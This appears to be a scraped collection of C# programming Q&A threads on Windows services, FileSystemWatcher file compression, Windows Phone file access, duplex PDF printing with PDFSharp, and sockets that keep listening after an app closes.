My problem is that the file is not created.
I think it is happening probably because you are using a System.Windows.Forms.Timer. It was not designed to work with a windows service.
Change your timer component to System.Timers.Timer. This class is suitable for Windows Services.
I suppose service identity has no rights to write to HD.
Check system event log for exceptions.
If your file is not created you would very likely get an exception which would appear in event log and your service would terminate as you do not handle any exceptions.
My guess would be that the file is created but not in the location that you expect. To check that either use a hard-coded absolute path or use Process Explorer to find the working folder of your service.
A simple technique for debugging scenarios like this one is to use System.Diagnostics.Trace.WriteLine() for putting out debug information and then start Debug View from Sysinternals to receive and display the trace messages.

Since regk isn't defined you need to define it's type or use var when you declare it e.g. var regk =.
You also can't access rk from Main because it's declared in RunOnStartup
You need to revise your class to store those variables at the class level as fields e.g. within Class2 and then you can access them from the methods you declare however keep in mind you have declared your methods as static so you will need to do the same for the variables or change the calls of your program to pass them to an instance.
I'm trying to create a program where every time i create a text file,it will compress the file and log it .
It works for the first text file but when i create the second one, i get this exception: System.Collections.ListDictionaryInternal

What do you guys think i should do?
Ahh, I think I see the problem.
It looks like your code is trying to pick up the new file, before you actually close the file in your editor.
You need to introduce a mechanism into your Compress method that checks if the file is available to open first.
See this answer to check if a file can be accessed or not, in code:
Is there a way to check if a file is in use?
Edit:
I would also try changing the FileSystemWatcher event you use to be .Changed, which fires after a file attribute is changed.
I would still check you can Open it to read by the link above though.
I try copy file from D:\Data\ to D:\WPSystem\APPS{GUID}\Install\ and i have error Access denied, who can help me and/or rebuild source ?
Pocket file manager can add new files without any errors
Anyone ever mentioned "However to copy files to apps folder try to use StorageFolder and StorageFile classes"
But I do not know how to apply it

if you're getting an Access Denied exception problem is not in the code. Either the user running the application does not have privileges to run this, or the file/destination folder is locked for some reason.
So, i'm using the PDFSharp lib, and, I whant to print a pdf on both sides....
My printer is a hp2055dn I have tryed all things... btw... my code is that:
using PdfSharp.Pdf.Printing;
using System;
using System.Collections.Generic;
using System.Drawing.Printing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace impressao
{
class Program
{
static void Main(string[] args)
{
PdfFilePrinter.AdobeReaderPath = #"C:\Program Files (x86)\Adobe\Acrobat 8.0\Acrobat\Acrobat.exe";
//PdfFilePrinter.AdobeReaderPath = #"C:\Program Files (x86)\Foxit Software\Foxit Reader\Foxit Reader.exe";
PrinterSettings settings = new PrinterSettings();
settings.Collate = false;
settings.Duplex = Duplex.Vertical;
PrintDialog printerDialog = new PrintDialog();
printerDialog.AllowSomePages = false;
printerDialog.ShowHelp = false;
printerDialog.PrinterSettings = settings;
printerDialog.AllowPrintToFile = true;
printerDialog.PrinterSettings.PrintToFile = true;
DialogResult result = printerDialog.ShowDialog();
if (result == DialogResult.OK)
{
PdfFilePrinter printer = new PdfFilePrinter("0.pdf", settings.PrinterName);
try
{
printer.Print();
}
catch (Exception ex)
{
Console.WriteLine("Error: " + ex.Message);
}
}
}
}
}
If have a another way to make this, another lib, or, another settings, or another dll... please tell me
if is possible to make a another program in C or C++ and I just pass the parameters to print... I don't know...
I'm needing a lot of it, and urgently :(
Thanks
Alexandre
I found the solution, I have created a new printer and seted on defaults with print in both sides...
My app listens on a certain port for socket messages. I can see that it is LISTENING via "netstat -a" at the command line.
When I shut the app down, the machine is still listening on that port when I re-run "netstat -a"
Is this a problem?
It seems like maybe it is, as when I subsequently start the app again, it crashes ignominiously.
How can I cause the listening to cease?

Your application is probably not actually exiting (check task manager "Processes" tab for your .exe).
You are probably trying to close the application by just closing the command window. Because your Server thread is not a background thread, it will just keep running. Try this guy in Form_Load:
if (bThisInstanceFunctionsAsServer)
{
var serverThread = new Thread(Server);
serverThread.IsBackground = true; // Make sure the server thread doesn't keep the app running in the background
serverThread.Start(); // Run server method concurrently.
Thread.Sleep(500); // Give server time to start.
}
